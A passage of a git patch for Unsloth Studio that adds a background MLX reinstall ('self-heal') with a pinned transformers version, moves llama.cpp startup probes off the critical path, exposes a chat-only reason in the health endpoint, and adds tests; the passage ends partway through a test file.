(DEFAULT_MAX_MACOS_RELEASE_FALLBACKS), turning the removed static pin into
dynamic discovery. Addresses review feedback on the macOS upstream fallback.

* Studio: pin transformers during MLX self-heal so it cannot break Studio

mlx-lm/mlx-vlm declare transformers>=5, but the single-env install pins
transformers==4.57.6. The self-heal used --upgrade with no constraint, so it
could upgrade transformers in the live venv and break the rest of Studio just to
make import mlx.core pass. Pin transformers to the installed version via a
constraint file: the resolver either finds an mlx build compatible with it or
fails (we stay chat-only), never upgrading transformers underneath Studio.
Addresses review feedback on the MLX repair install.

* Studio: harden MLX self-heal against an unsupported mlx-vlm

Pinning transformers alone made uv backtrack mlx-vlm to 0.3.9 (below unsloth-zoo's
mlx-vlm>=0.4.4), which imports but breaks VLM Train/Export -- so the self-heal
could clear chat-only onto a broken stack. Mirror the main installer: set
UV_OVERRIDE=overrides-darwin-arm64.txt so a current mlx-vlm coexists with the
transformers pin, require the same minimum versions unsloth-zoo declares, and
gate/validate on a full mlx_stack_available() check (not a bare import) so an
old or partial stack stays chat-only. Addresses PR review.

* Studio: filter Blackwell-incapable CUDA in resolve_upstream_asset_choice

resolve_upstream_asset_choice returned the first windows-cuda choice unfiltered,
so a Blackwell host could be handed an sm_120-incapable cuda-12.4 build while the
sibling planners drop it. Apply _drop_blackwell_incapable_windows_cuda here too
and fall through to the CPU bundle on a Blackwell host with no capable GPU asset.
Addresses PR review.

* Studio: re-poll health so MLX self-heal reaches an open UI

The sidebar cached the initial /api/health, so a successful background MLX
self-heal (chat_only flips false) did not re-enable Train/Export until a manual
reload. While chat-only for the recoverable mlx_unavailable reason, re-poll
/api/health and stop once Train/Export become available. Addresses PR review.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the disabled Train/Export tooltip reachable

The greyed Train/Export items pass a tooltip explaining why (e.g. MLX missing),
but a disabled <button> fires no pointer events and SidebarMenuButton only showed
tooltips while collapsed, so the explanation never appeared. Wrap a disabled
button in a focusable span and show its tooltip while expanded too; enabled items
keep the collapsed-only behavior. Addresses PR review.

* Studio: gate Train/Export on the full MLX stack, not bare mlx.core

detect_hardware enabled MLX training whenever `import mlx.core` worked, but the
MLX self-heal (utils/mlx_repair) treats a stack without mlx-lm/mlx-vlm at the
versions unsloth-zoo requires as inadequate. That asymmetry let the UI enable
Train/Export on exactly the partial/backtracked stack the self-heal is trying to
repair (greyed-in-but-broken VLM export). Gate on the same mlx_stack_available()
criterion so a partial stack stays chat-only (reason mlx_unavailable) and the
background repair restores it. Addresses PR review.

* Fix MLX repair and health auth for PR #6494

* Fix macOS upstream prebuilt fallback for PR #6494

* Fix MLX stack validation for PR #6494

* Fix MLX self-heal validation for PR #6494

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Review fixes: isolate hardware-state test, robust transformers pin

- test_chat_only_reason.py: detect_hardware() assigns module globals directly,
  which monkeypatch does not revert; the autouse fixture now saves and restores
  DEVICE/CHAT_ONLY/CHAT_ONLY_REASON/IS_ROCM so a chat-only verdict here cannot
  leak into other backend tests (e.g. test_utils.py) on a GPU host.
- mlx_repair.py: read the transformers version from importlib.metadata instead of
  importing transformers, so the install pin is not silently dropped when
  transformers has valid metadata but fails to import.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix CI: model full MLX stack in dispatch tests, keep selection test offline

dispatch (macOS) job:
- detect_hardware now gates MLX on the full stack (mlx_stack_available imports
  mlx_lm/mlx_vlm and checks dist versions), so faking only mlx.core makes the
  apple_silicon_mlx profile resolve to CPU. The dispatch tests assert the routing
  decision when the stack IS usable, so model a complete stack:
  test_hardware_dispatch_matrix patches utils.mlx_repair.mlx_stack_available and
  test_is_mlx_dispatch_gate patches hardware._has_usable_mlx_stack. The stack
  predicate's own internals stay covered by test_mlx_repair.py.

Repo tests (CPU) job:
- test_no_cuda_attempt_on_published_path_for_13_1 fell through to a live
  github_release_assets() upstream fetch after the Blackwell filter dropped every
  published attempt, which the offline security scanner blocks. Stub that fetch so
  the walk-back deterministically finds no usable CUDA build and raises
  PrebuiltFallback without network.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden MLX self-heal: prepare transformers constraint inside the try

attempt_mlx_repair runs on a daemon thread, but _transformers_constraint_args was
called before the try. A failure there (e.g. tempfile.mkstemp on a full disk or a
bad TMPDIR) would propagate unhandled and silently kill the self-heal thread.
Move the call inside the try and initialize constraint_path so any such failure
is caught and leaves Studio chat-only instead of crashing the thread.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
---
 studio/backend/main.py                        |  85 ++++--
 studio/backend/tests/test_chat_only_reason.py |  83 ++++++
 studio/backend/tests/test_desktop_auth.py     |  10 +-
 .../tests/test_install_resolve_prebuilt.py    |  38 +++
 studio/backend/tests/test_mlx_repair.py       | 278 +++++++++++++++++
 .../tests/test_model_defaults_none_guard.py   |  35 +++
 .../test_startup_llama_probe_non_blocking.py  |  98 ++++++
 studio/backend/tests/test_utils.py            |   1 +
 studio/backend/utils/hardware/hardware.py     |  50 +++-
 studio/backend/utils/mlx_repair.py            | 279 ++++++++++++++++++
 studio/backend/utils/models/model_config.py   |   6 +
 .../frontend/src/components/app-sidebar.tsx   |  38 ++-
 studio/frontend/src/components/ui/sidebar.tsx |  18 +-
 studio/frontend/src/config/env.ts             |   8 +
 studio/install_llama_prebuilt.py              | 159 ++--------
 .../install/test_macos_version_compat.py      |   2 +-
 tests/studio/install/test_selection_logic.py  | 181 +++---------
 tests/studio/test_hardware_dispatch_matrix.py |  10 +
 tests/studio/test_is_mlx_dispatch_gate.py     |   6 +
 19 files changed, 1087 insertions(+), 298 deletions(-)
 create mode 100644 studio/backend/tests/test_chat_only_reason.py
 create mode 100644 studio/backend/tests/test_mlx_repair.py
 create mode 100644 studio/backend/tests/test_model_defaults_none_guard.py
 create mode 100644 studio/backend/tests/test_startup_llama_probe_non_blocking.py
 create mode 100644 studio/backend/utils/mlx_repair.py

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 54946fa992..017e78fb35 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -379,24 +379,18 @@ def _start_helper_precache_if_enabled() -> None:
     threading.Thread(target = _precache, daemon = True, name = "helper-gguf-precache").start()
 
 
-@asynccontextmanager
-async def lifespan(app: FastAPI):
-    """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
-    clear_unsloth_compiled_cache()
+def _run_llama_cpp_startup_probes(app: FastAPI) -> None:
+    """llama.cpp capability (MTP support) + freshness (release age) probes.
 
-    # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
-    overlay_dir = Path(__file__).resolve().parent.parent.parent / ".venv_overlay"
-    if overlay_dir.is_dir():
-        shutil.rmtree(overlay_dir, ignore_errors = True)
-
-    # Detect hardware first — sets the DEVICE global used everywhere.
-    detect_hardware()
-
-    # Reap download workers orphaned by a previous crash before new downloads start.
-    reap_hub_orphan_workers()
-
-    # llama.cpp probes: capability (MTP support) + freshness (release age).
-    # Both cached; freshness has a 24h disk TTL.
+    Runs OFF the startup critical path (see _start_llama_cpp_probes_if_enabled).
+    Both are cached and freshness has a 24h disk TTL, but on a cold/expired cache
+    the freshness check makes a blocking GitHub request, and on macOS the first
+    `llama-server --help` exec can stall on Gatekeeper verification -- neither must
+    ever gate `Application startup complete`. Writes app.state only; nothing reads
+    those values synchronously at startup (the status routes call
+    check_prebuilt_freshness directly at request time), so populating them late is
+    safe.
+    """
     try:
         from core.inference.llama_cpp import LlamaCppBackend
         from utils.llama_cpp_freshness import (
@@ -429,6 +423,61 @@ async def lifespan(app: FastAPI):
         import structlog as _structlog
         _structlog.get_logger(__name__).debug("llama.cpp startup probes failed: %s", _probe_exc)
 
+
+def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None:
+    """Run the llama.cpp startup probes on a daemon thread, off the startup
+    critical path so they never delay `Application startup complete`. Skipped
+    entirely when update checks are disabled, so a fully offline boot makes no
+    background network calls."""
+    if os.environ.get("UNSLOTH_DISABLE_UPDATE_CHECK") == "1":
+        return
+
+    threading.Thread(
+        target = _run_llama_cpp_startup_probes,
+        args = (app,),
+        daemon = True,
+        name = "llama-cpp-startup-probe",
+    ).start()
+
+
+@asynccontextmanager
+async def lifespan(app: FastAPI):
+    """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
+    clear_unsloth_compiled_cache()
+
+    # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
+    overlay_dir = Path(__file__).resolve().parent.parent.parent / ".venv_overlay"
+    if overlay_dir.is_dir():
+        shutil.rmtree(overlay_dir, ignore_errors = True)
+
+    # Detect hardware first — sets the DEVICE global used everywhere.
+    detect_hardware()
+
+    # Apple Silicon with MLX missing => Train/Export are greyed out (chat-only).
+    # Reinstall mlx by name on a background thread (off the critical path) and
+    # re-detect, so a reinstall/update that dropped mlx self-heals. No-op
+    # elsewhere; opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1.
+    try:
+        from utils.mlx_repair import start_mlx_autorepair_if_needed
+        start_mlx_autorepair_if_needed()
+    except Exception as _mlx_exc:
+        import structlog as _structlog
+        _structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc)
+
+    # Reap download workers orphaned by a previous crash before new downloads start.
+    reap_hub_orphan_workers()
+
+    # llama.cpp probes: capability (MTP support) + freshness (release age).
+    # These used to run inline here and could block `Application startup complete`
+    # for tens of seconds on macOS (cold GitHub freshness cache / slow network, and
+    # Gatekeeper verifying the unsigned binary on first `--help` exec). They only
+    # write app.state and nothing reads it synchronously at startup, so run them on
+    # a daemon thread off the startup critical path (mirrors the helper-precache and
+    # RAG-warm threads). Default to None until the thread populates them.
+    app.state.llama_cpp_capabilities = None
+    app.state.llama_cpp_freshness = None
+    _start_llama_cpp_probes_if_enabled(app)
+
     from storage.studio_db import cleanup_orphaned_runs
 
     try:
@@ -909,6 +958,8 @@ async def health_check(request: Request):
     device_type = platform_map.get(sys.platform, sys.platform)
     return {
         **base,
+        # Why chat_only is set. This fingerprints the host, so keep it authed.
+        "chat_only_reason": getattr(_hw_module, "CHAT_ONLY_REASON", None),
         "version": UNSLOTH_VERSION,
         "studio_version": STUDIO_VERSION,
         "device_type": device_type,
diff --git a/studio/backend/tests/test_chat_only_reason.py b/studio/backend/tests/test_chat_only_reason.py
new file mode 100644
index 0000000000..405bb2d28f
--- /dev/null
+++ b/studio/backend/tests/test_chat_only_reason.py
@@ -0,0 +1,83 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""detect_hardware() records WHY a host is chat-only so the UI can explain the
+greyed-out Train/Export instead of disabling them silently.
+
+The key case is Apple Silicon without an importable MLX -> "mlx_unavailable",
+which is the usual cause of "Train and Export greyed out" on Macs after a
+reinstall/update dropped MLX.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import utils.hardware.hardware as hw  # noqa: E402
+
+
+@pytest.fixture(autouse = True)
+def _no_torch(monkeypatch):
+    # Force the non-CUDA/XPU path regardless of the test host's real GPUs.
+    monkeypatch.setattr(hw, "_has_torch", lambda: False)
+    # detect_hardware() assigns these module globals directly (not via monkeypatch),
+    # so save and restore them; otherwise a chat-only verdict here leaks into other
+    # backend tests (e.g. test_utils.py) when they share a process on a GPU host.
+    saved = (hw.DEVICE, hw.CHAT_ONLY, hw.CHAT_ONLY_REASON, hw.IS_ROCM)
+    try:
+        yield
+    finally:
+        hw.DEVICE, hw.CHAT_ONLY, hw.CHAT_ONLY_REASON, hw.IS_ROCM = saved
+
+
+def test_apple_silicon_without_mlx_is_chat_only_with_reason(monkeypatch):
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: False)
+    hw.detect_hardware()
+    assert hw.CHAT_ONLY is True
+    assert hw.CHAT_ONLY_REASON == "mlx_unavailable"
+
+
+def test_apple_silicon_with_mlx_enables_training(monkeypatch):
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: True)
+    hw.detect_hardware()
+    assert hw.CHAT_ONLY is False
+    assert hw.CHAT_ONLY_REASON is None
+
+
+def test_apple_silicon_with_incomplete_mlx_stack_stays_chat_only(monkeypatch):
+    # Bare `import mlx.core` works but the full mlx/mlx-lm/mlx-vlm stack does not
+    # (e.g. a backtracked/old mlx-vlm). The training gate must match the self-heal
+    # validator and stay chat-only so the UI does not enable a broken Train/Export.
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(hw, "_has_mlx", lambda: True)
+    monkeypatch.setattr(hw, "_has_usable_mlx_stack", lambda: False)
+    assert hw.detect_hardware() == hw.DeviceType.CPU
+    assert hw.CHAT_ONLY is True
+    assert hw.CHAT_ONLY_REASON == "mlx_unavailable"
+
+
+def test_intel_mac_reason(monkeypatch):
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: False)
+    monkeypatch.setattr(hw, "_has_mlx", lambda: False)
+    monkeypatch.setattr(hw.platform, "system", lambda: "Darwin")
+    hw.detect_hardware()
+    assert hw.CHAT_ONLY is True
+    assert hw.CHAT_ONLY_REASON == "intel_mac"
+
+
+def test_cpu_only_non_mac_reason(monkeypatch):
+    monkeypatch.setattr(hw, "is_apple_silicon", lambda: False)
+    monkeypatch.setattr(hw, "_has_mlx", lambda: False)
+    monkeypatch.setattr(hw.platform, "system", lambda: "Linux")
+    hw.detect_hardware()
+    assert hw.CHAT_ONLY is True
+    assert hw.CHAT_ONLY_REASON == "no_gpu"
diff --git a/studio/backend/tests/test_desktop_auth.py b/studio/backend/tests/test_desktop_auth.py
index b4b39ba1a9..591d44b736 100644
--- a/studio/backend/tests/test_desktop_auth.py
+++ b/studio/backend/tests/test_desktop_auth.py
@@ -451,7 +451,8 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch):
 
     import studio.backend.main as backend_main
 
-    monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY", False)
+    monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY", True)
+    monkeypatch.setattr(backend_main._hw_module, "CHAT_ONLY_REASON", "mlx_unavailable")
 
     seed_user()
     from auth.authentication import create_access_token
@@ -462,6 +463,12 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch):
     app.add_api_route("/api/health", backend_main.health_check, methods = ["GET"])
     client = TestClient(app)
 
+    unauthenticated = client.get("/api/health")
+    assert unauthenticated.status_code == 200
+    unauthenticated_body = unauthenticated.json()
+    assert unauthenticated_body["chat_only"] is True
+    assert "chat_only_reason" not in unauthenticated_body
+
     response = client.get(
         "/api/health",
         headers = {"Authorization": f"Bearer {token}"},
@@ -471,6 +478,7 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch):
 
     assert body["desktop_protocol_version"] == 1
     assert body["supports_desktop_auth"] is True
+    assert body["chat_only_reason"] == "mlx_unavailable"
 
 
 def test_provision_desktop_auth_writes_secret_and_creates_db_without_backend_deps(
diff --git a/studio/backend/tests/test_install_resolve_prebuilt.py b/studio/backend/tests/test_install_resolve_prebuilt.py
index ede5629664..d69eccc54d 100644
--- a/studio/backend/tests/test_install_resolve_prebuilt.py
+++ b/studio/backend/tests/test_install_resolve_prebuilt.py
@@ -105,6 +105,44 @@ def test_published_repo_for_host():
     )
 
 
+def test_macos_intel_and_arm_both_route_to_fork():
+    # macOS uses the unslothai fork's own Mac prebuilts for BOTH arm64 and Intel;
+    # there is no longer any upstream-on-macOS default path, so the obsolete
+    # pre-macOS-26 pin (b9415) is gone.
+    assert (
+        ilp.published_repo_for_host(
+            _host(system = "Darwin", is_macos = True, is_arm64 = True, machine = "arm64")
+        )
+        == FORK
+    )
+    assert (
+        ilp.published_repo_for_host(
+            _host(system = "Darwin", is_macos = True, is_x86_64 = True, machine = "x86_64")
+        )
+        == FORK
+    )
+
+
+def test_macos_upstream_pin_only_for_explicit_pre26_upstream():
+    pre26 = _host(
+        system = "Darwin",
+        is_macos = True,
+        is_arm64 = True,
+        machine = "arm64",
+        macos_version = (15, 5),
+    )
+    assert ilp.pinned_macos_release_tag(pre26, UPSTREAM) == "b9415"
+    assert ilp.pinned_macos_release_tag(pre26, FORK) is None
+    tahoe = _host(
+        system = "Darwin",
+        is_macos = True,
+        is_arm64 = True,
+        machine = "arm64",
+        macos_version = (26, 0),
+    )
+    assert ilp.pinned_macos_release_tag(tahoe, UPSTREAM) is None
+
+
 def _run_resolve(monkeypatch, capsys, plans_or_exc):
     monkeypatch.setattr(
         ilp,
diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
new file mode 100644
index 0000000000..7e60c9c3b9
--- /dev/null
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -0,0 +1,278 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""MLX self-heal: on Apple Silicon with MLX missing, reinstall it by name on a
+background thread (off the startup critical path). No-op elsewhere / when present
+/ when disabled. Models on core.training.worker's runtime backend self-heal.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import utils.mlx_repair as mr  # noqa: E402
+
+
+@pytest.fixture(autouse = True)
+def _reset_attempt_guard(monkeypatch):
+    monkeypatch.setattr(mr, "_attempted", False)
+    monkeypatch.delenv(mr.DISABLE_ENV_VAR, raising = False)
+
+
+def test_uv_cmd_targets_this_interpreter_with_mlx_packages(monkeypatch):
+    monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv")
+    cmd = mr._uv_install_cmd("--upgrade", *mr.MLX_PACKAGES)
+    assert cmd is not None
+    assert cmd[:5] == ["/usr/bin/uv", "pip", "install", "--python", sys.executable]
+    assert set(mr.MLX_PACKAGES) <= set(cmd)
+    # Minimum versions are pinned so the resolver cannot backtrack to an old
+    # mlx-vlm that imports but breaks VLM Train/Export.
+    assert "mlx-vlm>=0.4.4" in cmd
+
+
+def test_uv_executable_finds_installer_location_when_path_is_minimal(monkeypatch, tmp_path):
+    uv = tmp_path / ".local" / "bin" / "uv"
+    uv.parent.mkdir(parents = True)
+    uv.write_text("#!/bin/sh\n", encoding = "utf-8")
+    uv.chmod(0o755)
+    monkeypatch.setattr(mr.shutil, "which", lambda _x: None)
+    monkeypatch.setattr(mr.Path, "home", lambda: tmp_path)
+    assert mr._uv_executable() == str(uv)
+
+
+def test_no_uv_repair_stays_chat_only_without_pip(monkeypatch):
+    monkeypatch.setattr(mr, "_uv_executable", lambda: None)
+    monkeypatch.setattr(mr, "_transformers_constraint_args", lambda: ([], None))
+    called = {"run": False}
+
+    def _fake_run(*_args, **_kwargs):
+        called["run"] = True
+        raise AssertionError("plain pip fallback must not run")
+
+    monkeypatch.setattr(mr.subprocess, "run", _fake_run)
+    assert mr.attempt_mlx_repair() is False
+    assert called["run"] is False
+
+
+def test_constraint_pins_installed_transformers(monkeypatch):
+    transformers = pytest.importorskip("transformers")
+    args, path = mr._transformers_constraint_args()
+    try:
+        assert args[:1] == ["--constraint"]
+        assert args[1] == path
+        assert Path(path).read_text().strip() == f"transformers=={transformers.__version__}"
+    finally:
+        if path:
+            Path(path).unlink(missing_ok = True)
+
+
+def test_repair_install_pins_transformers_and_cleans_up(monkeypatch):
+    pytest.importorskip("transformers")
+    captured = {}
+    created_paths = []
+    real_args = mr._transformers_constraint_args
+
+    def _spy_args():
+        args, path = real_args()
+        if path:
+            created_paths.append(path)
+        return args, path
+
+    monkeypatch.setattr(mr, "_transformers_constraint_args", _spy_args)
+    monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv")
+
+    class _Result:
+        returncode = 0
+        stdout = ""
+
+    def _fake_run(cmd, **kwargs):
+        captured["cmd"] = cmd
+        captured["env"] = kwargs.get("env")
+        return _Result()
+
+    monkeypatch.setattr(mr.subprocess, "run", _fake_run)
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: True)
+
+    assert mr.attempt_mlx_repair() is True
+    cmd = captured["cmd"]
+    # transformers is pinned via a constraint file so the mlx install cannot
+    # upgrade it underneath Studio, and the temp constraint file is cleaned up.
+    assert "--constraint" in cmd
+    assert "--upgrade" in cmd
+    reinstall_pairs = set(zip(cmd, cmd[1:]))
+    for name in mr._MLX_PACKAGE_NAMES:
+        assert ("--reinstall-package", name) in reinstall_pairs
+    for pkg in mr.MLX_PACKAGES:
+        assert pkg in cmd
+    assert created_paths and not Path(created_paths[0]).exists()
+    # The install mirrors the main installer by relaxing the transformers pin via
+    # UV_OVERRIDE so a current mlx-vlm can coexist with transformers==4.57.6.
+    env = captured["env"]
+    assert env is not None
+    assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt")
+
+
+def test_repair_rejects_inadequate_stack(monkeypatch):
+    # A successful uv run that still leaves an old/missing mlx-vlm must NOT clear
+    # chat-only: attempt_mlx_repair returns False so Train/Export stay disabled.
+    class _Result:
+        returncode = 0
+        stdout = ""
+
+    monkeypatch.setattr(mr.subprocess, "run", lambda *a, **k: _Result())
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: False)
+    assert mr.attempt_mlx_repair() is False
+
+
+def test_repair_invalidates_import_caches_before_stack_check(monkeypatch):
+    events = []
+
+    class _Result:
+        returncode = 0
+        stdout = ""
+
+    def _stack_available():
+        events.append("check")
+        assert events == ["invalidate", "check"]
+        return True
+
+    monkeypatch.setattr(mr.subprocess, "run", lambda *a, **k: _Result())
+    monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv")
+    monkeypatch.setattr(mr, "_transformers_constraint_args", lambda: ([], None))
+    monkeypatch.setattr(mr.importlib, "invalidate_caches", lambda: events.append("invalidate"))
+    monkeypatch.setattr(mr, "mlx_stack_available", _stack_available)
+
+    assert mr.attempt_mlx_repair() is True
+    assert events == ["invalidate", "check"]
+
+
+def test_stack_unavailable_without_mlx(monkeypatch):
+    import importlib.metadata as metadata
+
+    def _missing(_name):
+        raise metadata.PackageNotFoundError(_name)
+
+    monkeypatch.setattr(metadata, "version", _missing)
+    assert mr.mlx_stack_available() is False
+
+
+def test_stack_unavailable_checks_versions_before_imports(monkeypatch):
+    import importlib.metadata as metadata
+
+    def _version(name):
+        if name == "mlx":
+            return "0.21.0"
+        return mr._MLX_MIN_VERSIONS[name]
+
+    def _import_module(_name):
+        raise AssertionError("MLX modules must not import before versions pass")
+
+    monkeypatch.setattr(metadata, "version", _version)
+    monkeypatch.setattr(mr.importlib, "import_module", _import_module)
+    assert mr.mlx_stack_available() is False
+
+
+def test_stack_unavailable_when_companion_import_fails(monkeypatch):
+    import importlib.metadata as metadata
+
+    monkeypatch.setattr(metadata, "version", lambda name: mr._MLX_MIN_VERSIONS[name])
+
+    def _import_module(name):
+        if name == "mlx_vlm":
+            raise ModuleNotFoundError(name)
+        return object()
+
+    monkeypatch.setattr(mr.importlib, "import_module", _import_module)
+    assert mr.mlx_stack_available() is False
+
+
+def test_stack_available_requires_runtime_imports_and_versions(monkeypatch):
+    import importlib.metadata as metadata
+
+    imported = []
+
+    def _import_module(name):
+        imported.append(name)
+        return object()
+
+    monkeypatch.setattr(mr.importlib, "import_module", _import_module)
+    monkeypatch.setattr(metadata, "version", lambda name: mr._MLX_MIN_VERSIONS[name])
+
+    assert mr.mlx_stack_available() is True
+    assert imported == list(mr._MLX_RUNTIME_IMPORTS)
+
+
+def test_no_op_off_apple_silicon(monkeypatch):
+    monkeypatch.setattr(mr, "is_apple_silicon", lambda: False)
+    called = {"n": 0}
+    monkeypatch.setattr(
+        mr, "attempt_mlx_repair", lambda **_k: called.__setitem__("n", called["n"] + 1) or True
+    )
+    assert mr.start_mlx_autorepair_if_needed() is False
+    assert called["n"] == 0
+
+
+def test_no_op_when_mlx_stack_present(monkeypatch):
+    monkeypatch.setattr(mr, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: True)
+    started = mr.start_mlx_autorepair_if_needed()
+    assert started is False
+
+
+def test_disable_env_skips(monkeypatch):
+    monkeypatch.setattr(mr, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: False)
+    monkeypatch.setenv(mr.DISABLE_ENV_VAR, "1")
+    assert mr.start_mlx_autorepair_if_needed() is False
+
+
+def test_apple_silicon_missing_mlx_starts_repair_and_redetects(monkeypatch):
+    import threading
+
+    monkeypatch.setattr(mr, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: False)
+
+    repaired = {"called": False}
+
+    def _fake_repair(**_kw):
+        repaired["called"] = True
+        return True
+
+    redetected = {"called": False}
+
+    # _run_repair_and_redetect imports utils.hardware.hardware lazily; stub repair
+    # and capture that re-detection is invoked on success.
+    monkeypatch.setattr(mr, "attempt_mlx_repair", _fake_repair)
+
+    import utils.hardware.hardware as hw
+
+    monkeypatch.setattr(hw, "detect_hardware", lambda: redetected.__setitem__("called", True))
+
+    started = mr.start_mlx_autorepair_if_needed()
+    assert started is True
+
+    # Join the daemon thread deterministically.
+    for thread in threading.enumerate():
+        if thread.name == "mlx-autorepair":
+            thread.join(timeout = 5)
+
+    assert repaired["called"] is True
+    assert redetected["called"] is True
+
+
+def test_attempts_only_once_per_process(monkeypatch):
+    monkeypatch.setattr(mr, "is_apple_silicon", lambda: True)
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: False)
+    monkeypatch.setattr(mr, "attempt_mlx_repair", lambda **_k: False)
+
+    first = mr.start_mlx_autorepair_if_needed()
+    second = mr.start_mlx_autorepair_if_needed()
+    assert first is True
+    assert second is False  # guard prevents a second concurrent attempt
diff --git a/studio/backend/tests/test_model_defaults_none_guard.py b/studio/backend/tests/test_model_defaults_none_guard.py
new file mode 100644
index 0000000000..0024ec2201
--- /dev/null
+++ b/studio/backend/tests/test_model_defaults_none_guard.py
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""load_model_defaults must not raise on a None/empty model id.
+
+Before the guard, calling it before a model is selected logged
+`Error loading model defaults for None: 'NoneType' object has no attribute 'lower'`.
+"""
+
+from __future__ import annotations
+
+import logging
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from utils.models.model_config import load_model_defaults  # noqa: E402
+
+
+def test_none_and_empty_return_empty_without_error(caplog):
+    with caplog.at_level(logging.ERROR):
+        assert load_model_defaults(None) == {}  # type: ignore[arg-type]
+        assert load_model_defaults("") == {}
+    assert "Error loading model defaults" not in caplog.text
+    assert "NoneType" not in caplog.text
+
+
+def test_unknown_string_still_returns_defaults_dict():
+    # A non-None unknown model name still resolves (falls back to default.yaml),
+    # i.e. the guard only short-circuits None/empty, nothing else.
+    result = load_model_defaults("definitely-not-a-real-model-xyz")
+    assert isinstance(result, dict)
diff --git a/studio/backend/tests/test_startup_llama_probe_non_blocking.py b/studio/backend/tests/test_startup_llama_probe_non_blocking.py
new file mode 100644
index 0000000000..eb5b8d0b5f
--- /dev/null
+++ b/studio/backend/tests/test_startup_llama_probe_non_blocking.py
@@ -0,0 +1,98 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The llama.cpp startup probes must run OFF the FastAPI lifespan critical path.
+
+Regression guard for the macOS slow-startup bug: the capability + freshness probes
+(added in #5528/#5529) used to run inline in `lifespan`, so a cold/slow GitHub
+freshness check blocked `Application startup complete` for tens of seconds. They now
+run on a daemon thread, and are skipped entirely when update checks are disabled.
+"""
+
+from __future__ import annotations
+
+import sys
+import time
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import main  # noqa: E402
+import utils.llama_cpp_freshness as freshness  # noqa: E402
+from core.inference.llama_cpp import LlamaCppBackend  # noqa: E402
+
+SLEEP = 5.0
+
+
+class _FakeApp:
+    class _State:
+        pass
+
+    def __init__(self) -> None:
+        self.state = _FakeApp._State()
+        self.state.llama_cpp_capabilities = None
+        self.state.llama_cpp_freshness = None
+
+
+@pytest.fixture(autouse = True)
+def _fast_capability_probe(monkeypatch):
+    # Keep the (local) capability probe instant + offline so the freshness sleep
+    # is the only slow thing under test.
+    monkeypatch.setattr(
+        LlamaCppBackend,
+        "_find_llama_server_binary",
+        staticmethod(lambda: "/no/such/llama-server"),
+    )
+    monkeypatch.setattr(
+        LlamaCppBackend,
+        "probe_server_capabilities",
+        staticmethod(lambda _b: {"found": False}),
+    )
+    monkeypatch.delenv("UNSLOTH_DISABLE_UPDATE_CHECK", raising = False)
+
+
+def test_probe_does_not_block_startup(monkeypatch):
+    """`_start_llama_cpp_probes_if_enabled` returns immediately even though the
